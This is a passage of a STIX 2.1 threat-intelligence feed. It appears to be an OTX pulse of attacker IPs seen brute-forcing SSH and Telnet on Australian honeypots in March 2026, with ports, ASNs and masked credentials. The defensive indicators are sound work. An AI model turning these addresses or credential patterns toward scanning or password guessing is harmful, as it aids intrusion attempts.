      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12430. Organisation(s): Vodafone Spain. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******x, 3***********4, 3**********4, H**********5, W*********$.",
      "id": "indicator--5cdeba00-3e08-4246-998b-00a1b4b5d576",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.24.47.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 47585. Organisation(s): Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi. Usernames observed (masked): r**t. Passwords observed (masked): L***********4.",
      "id": "indicator--aae3e068-e3cd-4198-9332-0ff142c6dae7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.181.87.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--058962c5-761c-42f6-a512-5b8b263e7a02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--96ff03f4-7d81-4694-a38e-4f354a5f134e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.74.21.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--390bcfd4-01ce-4c36-9645-210285ea704b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******w, 1*****************1, 1**********$.",
      "id": "indicator--a55d8843-7137-4c5b-8a47-7125f30a5d05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.167.77.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******w, 1*****************1, 1**********$.",
      "id": "indicator--b4980019-95e8-4848-b1f3-7c5f7ff100fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.5.129.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): !*******e, 1******a, 1*******e, 3***********4, A*****4.",
      "id": "indicator--437f4170-cf0f-41e4-8799-52cb9f64e252",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.178.137.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--30d1c40c-a3be-42ce-808b-f7fd506db4bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 38731. Organisation(s): CHT Compamy Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--5a4b3138-9ca7-4ba3-b5cb-8e57f67688a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.211.122.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--bf46dcdf-c417-4137-8de5-99478a45a0d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.140.172.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--02512c60-1a59-48ec-a6ee-8805c9ac639a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******e, 3***********4, 3**********4, 8**9, A******4.",
      "id": "indicator--4aa5ff41-0b39-429a-a217-ac980db2d286",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '57.128.182.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--68ebda31-294a-4189-a0e4-4a32f4e72040",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.240.236.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): A***n@123.com, Q********!.",
      "id": "indicator--64161b30-b95e-4f78-b7c2-2621ccee68ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.168.53.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 25513. Organisation(s): PJSC Moscow city telephone network.",
      "id": "indicator--326fd806-a3d6-4633-9617-21682e04513e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.165.130.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:15:13.000Z",
      "valid_until": "2026-04-03T16:15:11.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 85. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): A*******., L*******@, P***********4, z**********#.",
      "id": "indicator--5721097c-8031-444d-acde-ecaf6e555d3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.140.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******., L*******@, P***********4.",
      "id": "indicator--fea74d9f-9f43-42f6-8563-7145bfe98256",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.161.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*********#, H******6, Z********..",
      "id": "indicator--db8c4bec-6782-4a3e-8997-e1e3f48cf46d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.194.230.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1****1, 1**4, 1***5.",
      "id": "indicator--885ba324-30c1-4702-8bdf-ff277a3689eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.80.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******., A*******7, L*******@.",
      "id": "indicator--2511bcf1-4d52-4f57-b0fb-fbd6f4cf695e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.185.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******!, 3***********4, 3**********4, @******c, B******6.",
      "id": "indicator--02683f8e-5d81-415e-a6a9-3a2c22b0508b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.218.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******!, @******c, D******6.",
      "id": "indicator--395d5ed1-1ca8-4bd6-b7b5-a144fc6b838b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.42.212.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 268. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): p******s, r**t, a****e, d****y, ***. Passwords observed (masked): ***, ***, p**s, p******d, t**t.",
      "id": "indicator--2536e04a-4662-439d-bb9f-959c35538c02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.243.69.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): !*******, 0****0, 1****1, ***, 1****3.",
      "id": "indicator--d367677d-3eb0-45bf-91d3-663c9f7715b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.144.28.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23273. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !**************v, 1******o, 2****0.",
      "id": "indicator--846d2e49-276f-4f7e-874f-cee9685f5299",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.96.182.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******A, 1**********c, 2******X, 3***********4, 3**********4.",
      "id": "indicator--ef37ebfb-079f-4c36-96c8-a15b7308a0db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.113.139.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--566d92f6-1198-4f93-92d1-4492949e2b2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******., A*******7, L*******@.",
      "id": "indicator--dc4f83f0-f931-4f6f-9d47-22683b67ee87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.254.212.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, **@123456., F******!, F*******..",
      "id": "indicator--2ed263ef-427c-476e-aff9-9911579d5a10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.85.163.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 134326. Organisation(s): Airdesign Broadcast Media Pvt Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******!, 3***********4, 3**********4, @******c, B******6.",
      "id": "indicator--998d25d9-b934-48da-b4ba-f61d4de0eeed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.246.139.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EE. ASN(s): 207083. Organisation(s): HostSlim B.V.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********D, 1***********e, 1**********C, 3***********4, 3**********4.",
      "id": "indicator--284d61da-020d-4d12-a568-9ab5b9d1692c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.12.83.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36149. Organisation(s): Hawaiian Telcom Services Company, Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******., A*******7, P***********4.",
      "id": "indicator--559ace05-d252-4998-8c5a-7780257a5a41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.253.251.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T17:15:13.000Z",
